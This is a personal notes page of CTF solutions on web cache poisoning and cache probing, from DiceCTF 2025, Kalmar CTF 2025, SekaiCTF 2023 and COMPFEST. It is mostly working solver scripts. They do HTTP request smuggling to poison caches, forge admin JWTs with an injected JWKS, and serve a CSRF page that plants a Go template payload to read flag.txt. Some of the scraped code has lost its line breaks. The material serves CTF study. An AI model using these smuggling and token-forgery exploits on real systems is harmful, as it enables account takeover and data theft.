Skip to content

Cache Poisoning / Cache Probing

cache poisoning using request smuglingchunky unintended: GET /{user_id}/.well-known/jwks.json /../../..{post_url} server thinks its http/0.9 and it caches the response no transfer-encoding stuff neede...

Created

Updated

6 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Cache probing attack in nextjs special path _next/image

Event NameDiceCTF Quals 2025
GitHub URL-
Challenge Nameold-site-b-side
Attachments
References

  • register -> send payload <?><img src=http://localhost:3000/_next/image?url=/api/me/badge&w=640&q=1>
  • serving and send the url of this html to the bot
  • <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    <body>
        <script>
            for (let i = 0; i < 100; i++) {
                open("<http://localhost:3000/>")
            }
        </script>
    </body>
    </html>
    
  • access https://old-site-b-side-67db156495d8575a.dicec.tf/_next/image?url=/api/me/badge&w=640&q=1 to get gif flag
  • Cache Poisoning in VCL can escalate self XSS to XSS

    Event NameKalmar CTF 2025
    GitHub URLhttps://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
    Challenge NameKalmar Notes
    Attachments
    References

    GET /note/126588202765/long?.js HTTP/2
    Host: b5b5616f803aea138236147c5301829b-44533.inst1.chal-kalmarc.tf
    Cookie: session=eyJ1c2VyX2lkIjoyfQ.Z8_7DQ.1KQIw30edxTFfpnn0WJ60HpSlTw
    sub vcl_recv {
        if (req.url ~ "\.(js|css|png|gif)$") {
            set req.http.Cache-Control = "max-age=10";
            return (hash);
        }
    }

    Chunky (Unitended) (SekaiCTF 2023)

    cache poisoning using request smuglingchunky unintended: GET /{user_id}/.well-known/jwks.json /../../..{post_url} server thinks its http/0.9 and it caches the response no transfer-encoding stuff needed.

    import jwt
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.primitives import serialization
    import json
    import httpx
    from pwn import *# URL = "http://localhost:8080"URL = "http://chunky.chals.sekai.team:8080/"context.log_level = logging.INFO
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
    class UtilsAPI(BaseAPI):
        def __init__(self, url=URL) -> None:
            self.private_key = rsa.generate_private_key(
                public_exponent=65537,
                key_size=2048        )
            self.public_key = self.private_key.public_key()
            super().__init__(url)
        def generate_jwks(self):
            pem = self.public_key.public_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PublicFormat.SubjectPublicKeyInfo,
            )
            x5c = pem.decode().split("-----")[2].strip()
            jwks = {
                "keys": [
                    {
                        "alg": "RS256",
                        "x5c": [x5c]
                    }
                ]
            }
            return jwks
        def get_private_key_pem(self):
            private_key_pem = self.private_key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.PKCS8,
                encryption_algorithm=serialization.NoEncryption()
            )
            return private_key_pem
        def send_raw(s, raw):
            r = remote(s.c.base_url.host, s.c.base_url.port)
            r.send(raw)
            return r.recv(4092).decode().replace("\r\n", "\n")
    class API(UtilsAPI):
        def signup(s, username, password):
            return s.c.post("/signup", data={
                "username": username,
                "password": password
            })
        def login(s, username, password):
            return s.c.post("/login", data={
                "username": username,
                "password": password
            })
        def create_post(s, title, content):
            return s.c.post("/create_post", data={
                "title": title,
                "content": content
            })
        def flag(s, auth):
            return s.c.get("/admin/flag", headers={
                "Authorization": "Bearer "+auth
            })
    if __name__ == "__main__":
        api = API()
        username = "dimas"    password = "dimas"    api.signup(username, password)
        api.login(username, password)
        title = json.dumps(api.generate_jwks())
        payload = f"""\HTTP/1.1 200 OkContent-Type: application/jsonContent-Length: {len(title)}Connection: close\r{title}"""    res = api.create_post(payload, "")
        location = res.headers['location']
        log.info("Location: %s", location)
        userid = location.split("/")[-2]
        log.info("User Id: %s", userid)
        raw = f"""\GET /{userid}/.well-known/jwks.json /../../..{location}host: xConnection: close\r""".encode()
        # send cache poisoning    api.send_raw(raw)
        auth = jwt.encode(
            payload={"user": "admin"},
            key=api.get_private_key_pem(),
            algorithm="RS256"    ).decode()
        res = api.flag(auth)
        print(res.text)

    intended

    import jwt
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.primitives import serialization
    import json
    import httpx
    from pwn import *URL = "http://localhost:8080"# URL = "http://chunky.chals.sekai.team:8080/"context.log_level = logging.INFO
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.Client(base_url=url)
    class UtilsAPI(BaseAPI):
        def __init__(self, url=URL) -> None:
            self.private_key = rsa.generate_private_key(
                public_exponent=65537,
                key_size=2048        )
            self.public_key = self.private_key.public_key()
            super().__init__(url)
        def generate_jwks(self):
            pem = self.public_key.public_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PublicFormat.SubjectPublicKeyInfo,
            )
            x5c = pem.decode().split("-----")[2].strip()
            jwks = {
                "keys": [
                    {
                        "alg": "RS256",
                        "x5c": [x5c]
                    }
                ]
            }
            return jwks
        def get_private_key_pem(self):
            private_key_pem = self.private_key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.PKCS8,
                encryption_algorithm=serialization.NoEncryption()
            )
            return private_key_pem
        def send_raw(s, raw):
            r = remote(s.c.base_url.host, s.c.base_url.port)
            r.send(raw)
            return r.recv(4092).decode().replace("\r\n", "\n")
    class API(UtilsAPI):
        def signup(s, username, password):
            return s.c.post("/signup", data={
                "username": username,
                "password": password
            })
        def login(s, username, password):
            return s.c.post("/login", data={
                "username": username,
                "password": password
            })
        def create_post(s, title, content):
            return s.c.post("/create_post", data={
                "title": title,
                "content": content
            })
        def flag(s, auth):
            return s.c.get("/admin/flag", headers={
                "Authorization": "Bearer "+auth
            })
    if __name__ == "__main__":
        api = API()
        username = "dimas"    password = "dimas"    api.signup(username, password)
        api.login(username, password)
        title = json.dumps(api.generate_jwks())
        res = api.create_post(title, "")
        post = res.headers['location']
        log.info("Location: %s", post)
        userid = post.split("/")[-2]
        log.info("User Id: %s", userid)
        smuggle = "GET {} HTTP/1.1\r\nHost: localhost\r\n\r\n".format(post)
        http_request = f"""\GET /post/x/x HTTP/1.1Host: localhostContent-Length: {5+len(smuggle)}transfer-encoding: chunked\r0\r\r{smuggle}GET /{userid}/.well-known/jwks.json HTTP/1.1Host: localhost\r"""    # send cache poisoning    print(http_request.replace("\r", ""))
        res = api.send_raw(http_request)
        print(res)
        auth = jwt.encode(
            payload={"user": "admin"},
            key=api.get_private_key_pem(),
            algorithm="RS256"    ).decode()
        res = api.flag(auth)
        print(res.text)
    solve
    from jwcrypto import jwk
    import requests
    import string
    import random
    import time
    import json
    import jwt
    
    from pwn import *
    
    
    def random_string():
        res = "".join(random.choices(string.ascii_uppercase + string.digits, k=32))
        return res
    
    
    key = jwk.JWK.generate(kty="RSA", size=2048, use="sig")
    pubkey = b"".join(key.export_to_pem().splitlines()[1:-1]).decode()
    privkey = key.export_to_pem(private_key=True, password=None)
    jwks = json.dumps({"keys": [{"alg": "RS256", "x5c": [pubkey]}]})
    
    if args.REMOTE:
        host = "chunky.chals.sekai.team"
        port = "8080"
    else:
        host = "127.0.0.1"
        port = "8080"
    
    base_url = "http://{}:{}".format(host, port)
    signup_url = base_url + "/signup"
    login_url = base_url + "/login"
    post_url = base_url + "/create_post"
    flag_url = base_url + "/admin/flag"
    
    jwks_url_template = base_url + "/{user_id}/.well-known/jwks.json"
    
    s = requests.Session()
    
    
    def signup(username, password):
        form_data = {"username": username, "password": password}
        r = s.post(signup_url, data=form_data, allow_redirects=False)
        return r.status_code == 302
    
    
    def login(username, password):
        form_data = {"username": username, "password": password}
        r = s.post(login_url, data=form_data, allow_redirects=False)
        return r.status_code == 302
    
    
    def create_blog_post(title, content):
        form_data = {"title": title, "content": content}
        r = s.post(post_url, data=form_data, allow_redirects=False)
        redir = r.headers.get("Location")
        parts = redir.rsplit("/", maxsplit=2)
        print(parts)
        user_id = parts[1]
        post_id = parts[2]
    
        result = (len(user_id) == 36) and (len(post_id) == 36)
        return (user_id, post_id), (r.status_code == 302 and result)
    
    
    def poison_cache(user_id, post_id):
        payload = "\r\n".join(
            [
                f"GET /{random_string()} HTTP/1.1",
                "Host: {host}:{port}".format(host=host, port=port),
                "Transfer-EncodinG: chunked\r\n",
            ]
        )
    
        poison = "\r\n".join(
            [
                "0",
                "",
                "GET /post/{user_id}/{post_id} HTTP/1.1".format(
                    user_id=user_id, post_id=post_id
                ),
                "Rik: X",
            ]
        )
    
        to_poison = "\r\n".join(
            [
                "GET /{user_id}/.well-known/jwks.json HTTP/1.1".format(user_id=user_id),
                "Host: {host}:{port}".format(host=host, port=port),
                "",
            ]
        )
    
        content_length = len(poison)
        payload += "Content-Length: %d\r\n\r\n" % content_length
        payload += poison
        payload += to_poison
        print(payload.replace("\r", ""), flush=True)
    
        r = remote(host, port)
        r.send(payload)
        r.close()
    
    
    username = random_string()
    password = random_string()
    print(username)
    print(password)
    print(signup(username, password))
    print(login(username, password))
    
    (user_id, post_id), result = create_blog_post(jwks, "")
    print(user_id, post_id, result)
    
    poison_cache(user_id, post_id)
    
    time.sleep(3)
    r = s.get(jwks_url_template.format(user_id=user_id))
    print(r.text)
    
    payload = {"user": "admin"}
    admin_jwt = jwt.encode(payload, privkey, "RS256")
    headers = {"Authorization": f"Bearer {admin_jwt}"}
    
    r = s.get(flag_url, headers=headers)
    print(r.text)

    Cache poisoning in URL Path

    https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html

            merge_slashes off;
            
            location /assets/ {
                proxy_pass http://server:8000;
                
                proxy_cache assets_cache;
                proxy_cache_valid any 10s;
                proxy_set_header Host $http_host;
                proxy_set_header X-Forwarded-For $remote_addr;
                add_header X-Cache-Status $upstream_cache_status;
            }
    func CSP() gin.HandlerFunc {
    	return func(ctx *gin.Context) {
    		host := ctx.Request.Host
    		rules := "default-src 'none';"
    		rules += " frame-src 'self';"
    		rules += " script-src http://" + host + "/assets/tailwind.js;"
    		rules += " style-src 'unsafe-inline';"
    		ctx.Header("Content-Security-Policy", rules)
    		ctx.Next()
    	}
    }
    	router := gin.Default(func(e *gin.Engine) {
    		e.RemoveExtraSlash = true
    	})
    

    solver

    import os, hashlib, requests, re
    from flask import Flask, render_template_string
    
    template = """
    <form method="POST" action="{{ host_url }}/admin/themes" target="_blank" id="create-template-form">
        <input type="text" name="name" value="{{ template_name }}">
        <input type="text" name="template" value='{{ template_body }}'>
    </form>
    
    <form method="POST" action="{{ host_url }}/theme" target="_blank" id="set-theme-form">
        <input type="text" name="theme" value="{{ template_name }}">
    </form>
    
    <form method="POST" action="{{ host_url }}/notes" target="_blank" id="create-note-form">
        <input type="text" name="name" value="{{ note_name }}">
        <input type="text" name="content" value="{{ note_body }}">
    </form>
    
    <form method="GET" action="{{ host_url }}/assets/%2F../notes/{{ note_hash }}" target="_blank" id="get-note-cache-form">
        <input type="text" name="a" value="b">
    </form>
    
    <script>
        function sleep(ms) {
            return new Promise(resolve => setTimeout(resolve, ms));
        }
    
        const solve = async () => {
            document.getElementById('create-template-form').submit();
            await sleep(1000);
            document.getElementById('set-theme-form').submit();
            await sleep(1000);
            document.getElementById('create-note-form').submit();
            await sleep(1000);
            document.getElementById('get-note-cache-form').submit();
            await sleep(1000);
            fetch("/fetch-flag/{{ note_hash }}")
        };
    
        document.addEventListener("DOMContentLoaded", function() {
            solve();
        });
    </script>
    """
    
    app = Flask(__name__)
    
    HOST_URL = 'https://test.meervix.com'
    TEMPLATE_NAME = os.urandom(16).hex()
    TEMPLATE_BODY = '{{ .Update "../../../flag.txt" "lulski" }} {{ .Name }} {{ .Content }} {{ .Render "theme" }}'
    
    
    @app.route('/')
    def index():
        note_name = os.urandom(16).hex()
        note_body = os.urandom(16).hex()
        note_hash = hashlib.sha256(note_name.encode() + b"_" + note_body.encode()).hexdigest()
    
        return render_template_string(template, **{
            "host_url": HOST_URL,
            "template_name": TEMPLATE_NAME,
            "template_body": TEMPLATE_BODY,
            "note_name": note_name,
            "note_body": note_body,
            "note_hash": note_hash,
        })
    
    @app.route("/fetch-flag/<note_hash>")
    def fetch_flag(note_hash: str):
        flag_url = f"{HOST_URL}/assets/%2F../notes/{note_hash}?a=b"
    
        s = requests.Session()
        req = requests.Request(method='GET', url=flag_url)
        prep = req.prepare()
        prep.url = flag_url
        res = s.send(prep, verify=False)
    
        try:
            flag = re.findall(r"COMPFEST16{.+?}", res.text)[0]
            print(flag)
        except:
            print("FLAG not found")
        return ""
    
    if __name__ == '__main__':
        app.run(debug=True)

    Cache poisoning in nodejs package

    Business CTF 2022: Chaining Self XSS with Cache Poisoning - Felonious Forums (hackthebox.com)

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.